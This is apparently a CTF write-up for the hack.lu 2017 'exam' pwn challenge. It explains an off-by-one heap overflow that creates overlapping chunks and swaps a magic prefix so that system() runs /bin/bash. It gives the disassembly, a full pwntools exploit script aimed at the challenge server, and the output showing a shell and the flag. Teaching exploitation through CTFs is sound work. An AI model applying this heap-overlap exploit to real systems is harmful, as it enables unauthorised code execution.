Description :
Growing up and being bored in school, Samual Jr. takes a look at different cloud-driven options for exam preparation. Reaching for the stars takes more than just math, right?
nc flatearth.fluxfingers.net 1745
First steps :
Let’s take a quick look at the binary :
➜ exam ~/tools/checksec.sh/checksec --file exam RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 4 exam ➜ exam file exam exam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9be14b9fa354dbb844460d8d07daa6cd7c2ee40a, not stripped
Considering the hardening mechanisms in place (PIE, RELRO, Stack Canary, NX) and the low amount of points (200), we shouldn’t look for something too fancy like ROP in order to complete the challenge.
I went ahead and ran the program to see what it did :
➜ exam ./exam Welcome to ExamSim! Here you can augment your exam preparation work with automated crib creation capabilities. Our algorithm will hand pick only the most important facts from your previous summaries to allow you to push your grades to the next level! ======== 1. add summary 2. remove summary 3. study summary 4. create crib 5. tear crib in frustration 6. go to exam >
Okay, it seems that the program allows us to create/remove summaries and cribs. When we take a deeper look into the binary, we learn that there is one function dedicated to each of these functionalities, most of which are self-explanatory, so I won’t go into detail just yet :
handle_add_summary
: create up to 5 summaries (0x80 characters user input) ;handle_remove_summary
: delete a summary ;handle_study_summary
: display a summary ;handle_create_crib
: a single crib can be created, not clear what a crib is at first glance, I will have to take a dive into the ASM later on ;handle_tear_crib
: delete the crib if it exists ;handle_exam
: you can take an exam, the program allows you to take a summary, if you select one the program responds with
Grasping into emptiness right there! Maybe we better stay at home today, shall we?
then ends.
Alright, at this point, if we take a little step back and summarize what we know (which I obviously didn’t do), we can already have a good guess at the kind of vulnerability involved. Indeed, most of the program is about creating/deleting dynamically allocated user input, so we should pay attention for a possible buffer overflow in the heap.
Vulnerability hunting :
Let’s start with the handle_exam
function with a little bit of disassembly :
Pretty straight-forward, as we noticed earlier, the function asks the user which summary he wants to bring to the exam :
You’re allowed to bring one summary. Which one is it?
then it gets interesting.
Indeed, once the user specifies which summary he’s taking to the exam, the following instructions checks if the first 8 bytes of the summary is equal to a hardcoded value 0x434947414d535449
(little endian for ITSMAGIC
) and if so, the program then prints :
Cheeky little fella. Screw math, you deserve a straight A!
and takes the string following the keyword to use it as parameter for the system()
function, which is basically what we want.
Dump of assembler code for function handle_exam: 0x0000555555554e33 <+0>: push rbx 0x0000555555554e34 <+1>: lea rdi,[rip+0x59d] # 0x5555555553d8 0x0000555555554e3b <+8>: mov eax,0x0 0x0000555555554e40 <+13>: call 0x555555554860 <printf@plt> 0x0000555555554e45 <+18>: mov eax,0x0 0x0000555555554e4a <+23>: call 0x5555555549da <get_num> 0x0000555555554e4f <+28>: cmp rax,0x4 0x0000555555554e53 <+32>: ja 0x555555554ea2 <handle_exam+111> 0x0000555555554e55 <+34>: lea rdx,[rip+0x2011e4] # 0x555555756040 <folder> 0x0000555555554e5c <+41>: mov rbx,QWORD PTR [rdx+rax*8] 0x0000555555554e60 <+45>: test rbx,rbx 0x0000555555554e63 <+48>: je 0x555555554ea2 <handle_exam+111> 0x0000555555554e65 <+50>: movabs rax,0x434947414d535449 0x0000555555554e6f <+60>: cmp QWORD PTR [rbx],rax 0x0000555555554e72 <+63>: je 0x555555554e8b <handle_exam+88> 0x0000555555554e74 <+65>: lea rdi,[rip+0x5dd] # 0x555555555458 0x0000555555554e7b <+72>: call 0x555555554830 <puts@plt> 0x0000555555554e80 <+77>: lea rdi,[rbx+0x8] 0x0000555555554e84 <+81>: call 0x555555554830 <puts@plt> 0x0000555555554e89 <+86>: jmp 0x555555554eae <handle_exam+123> 0x0000555555554e8b <+88>: lea rdi,[rip+0x586] # 0x555555555418 0x0000555555554e92 <+95>: call 0x555555554830 <puts@plt> 0x0000555555554e97 <+100>: lea rdi,[rbx+0x8] 0x0000555555554e9b <+104>: call 0x555555554850 <system@plt> 0x0000555555554ea0 <+109>: jmp 0x555555554eae <handle_exam+123> 0x0000555555554ea2 <+111>: lea rdi,[rip+0x5df] # 0x555555555488 0x0000555555554ea9 <+118>: call 0x555555554830 <puts@plt> 0x0000555555554eae <+123>: mov edi,0x0 0x0000555555554eb3 <+128>: call 0x5555555548b0 <exit@plt> End of assembler dump.
Now that we see what we want, let’s find out how to get there by diving into the function handle_add_summary
assembly :
As we can see in the disassembly, the hardcoded string ITSSTUDY
(0x5944555453535449
) is prepended to the user input at loc_AE1
:
0x0000555555554ae1 <+59>: mov edi,0x88 0x0000555555554ae6 <+64>: call 0x555555554880 <malloc@plt> 0x0000555555554aeb <+69>: lea rdx,[rip+0x20154e] # 0x555555756040 <folder> 0x0000555555554af2 <+76>: mov QWORD PTR [rdx+rbx*8],rax 0x0000555555554af6 <+80>: movabs rcx,0x5944555453535449 0x0000555555554b00 <+90>: mov QWORD PTR [rax],rcx
then the function pushes the address of the buffer and 0x80
(most likely the remaining length of the summary) onto the stack and calls a function called get_line
:
0x0000555555554b1a <+116>: lea rax,[rip+0x20151f] # 0x555555756040 <folder> 0x0000555555554b21 <+123>: mov rdi,QWORD PTR [rax+rbx*8] 0x0000555555554b25 <+127>: add rdi,0x8 0x0000555555554b29 <+131>: mov esi,0x80 0x0000555555554b2e <+136>: call 0x555555554a32 <get_line>
It seems that we’re going to have to do some magic in order to replace the hardcoded ITSSTUDY
by ITSMAGIC
prepended to the beginning of every summary. Let’s see if we can find an overflow in the custom get_line
function.
The function seems to read user input one byte at a time. When we take a closer look, we can see that it uses ebp
as a counter. Here’s a simplified pseudo-code of the function :
ebp = 0
len = 0x80
while len >= ebp :
read(1)
ebp ++
For a trained vulnerability hunter (not me), there’s an obvious off-by-one overflow here. Now let’s see how we can take advantage of this.
The fun part :
I won’t go into the details of the overlapping technique that I used, it’s described better than I could ever do in Glibc Adventures: The Forgotten Chunks.
However, here are the basics :
A malloc chunk is represented by the following structure (defined in malloc/malloc.c):
The off-by-one byte overwrites the lower byte of the next chunk’s size
field. With a little bit of magic, this allows us to produce overlapping chunks and thus, overwriting the first 8 bytes of a summary with arbitrary content.
Here’s a villoc capture illustrating my solution :
The solution
from pwn import * import struct context.binary = ELF('./exam') f = None def s(p, x): if args['DEBUG'] : print '[+] sending data :\n%s' %x if args['PAYLOAD'] : f.write(x) p.send(x) def r(p, stop): data = p.recvuntil(stop) if args['DEBUG'] : print '[+] recieving data : \n%s' %data return data if args['PAYLOAD'] : f = open('payload','w') if args['REMOTE'] : p = remote('flatearth.fluxfingers.net', 1745) else : p = process(context.binary.path) # CREATION SUMMARY 0 print '[*] creating summary 0' data = r(p, '> ') s(p, '1\n') data = r(p, '> ') s(p, 'a\n') data = r(p, '> ') # CREATION DU CRIB print '[*] creating crib' s(p, '4\n') data = r(p, '> ') # CREATION SUMMARY 1 print '[*] creating summary 1' s(p, '1\n') data = r(p, '> ') s(p, 'a\n') data = r(p, '> ') # DESTRUCTION SUMMARY 0 print '[*] deleting summary 0' s(p, '2\n') data = r(p, '> ') s(p, '0\n') data = r(p, '> ') # CREATION SUMMARY 2, OVERLAP CRIB print '[*] creating summary 2, crib size chunk is extended' s(p, '1\n') data = r(p, '> ') s(p, 'A'*0x80 + '\xb1') data = r(p, '> ') # DESTRUCTION CRIB print '[*] deleting crib' s(p, '5\n') data = r(p, '> ') # CREATION SUMMARY 3, SUMMARY 1 ECRASE print '[*] creating summary 3, summary 1 is overlapped, magic word replaced' s(p, '1\n') data = r(p, '> ') s(p, 'A'*24 + 'ITSMAGIC/bin/bash\n') data = r(p, '> ') # EXAM print '[*] exam with summary 1' s(p, '6\n') data = r(p, '> ') s(p, '1\n') if args['PAYLOAD'] : f.close() p.interactive()
And here’s what it looks like when you actually execute it :
➜ exam python exam.py REMOTE [*] '/home/m0rphine/hacklu/2017/exam/exam' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to flatearth.fluxfingers.net on port 1745: Done [*] creating summary 0 [*] creating crib [*] creating summary 1 [*] deleting summary 0 [*] creating summary 2, crib size chunk is extended [*] deleting crib [*] creating summary 3, summary 1 is overlapped, magic word replaced [*] exam with summary 1 [*] Switching to interactive mode Cheeky little fella. Screw math, you deserve a straight A! $ id uid=1000(chall) gid=1000(chall) groups=1000(chall) $ ls exam flag setup.sh $ cat flag FLAG{wh0_n33d5_m4th_when_ch34t1ng_1s_4n_0pt10n}
Be First to Comment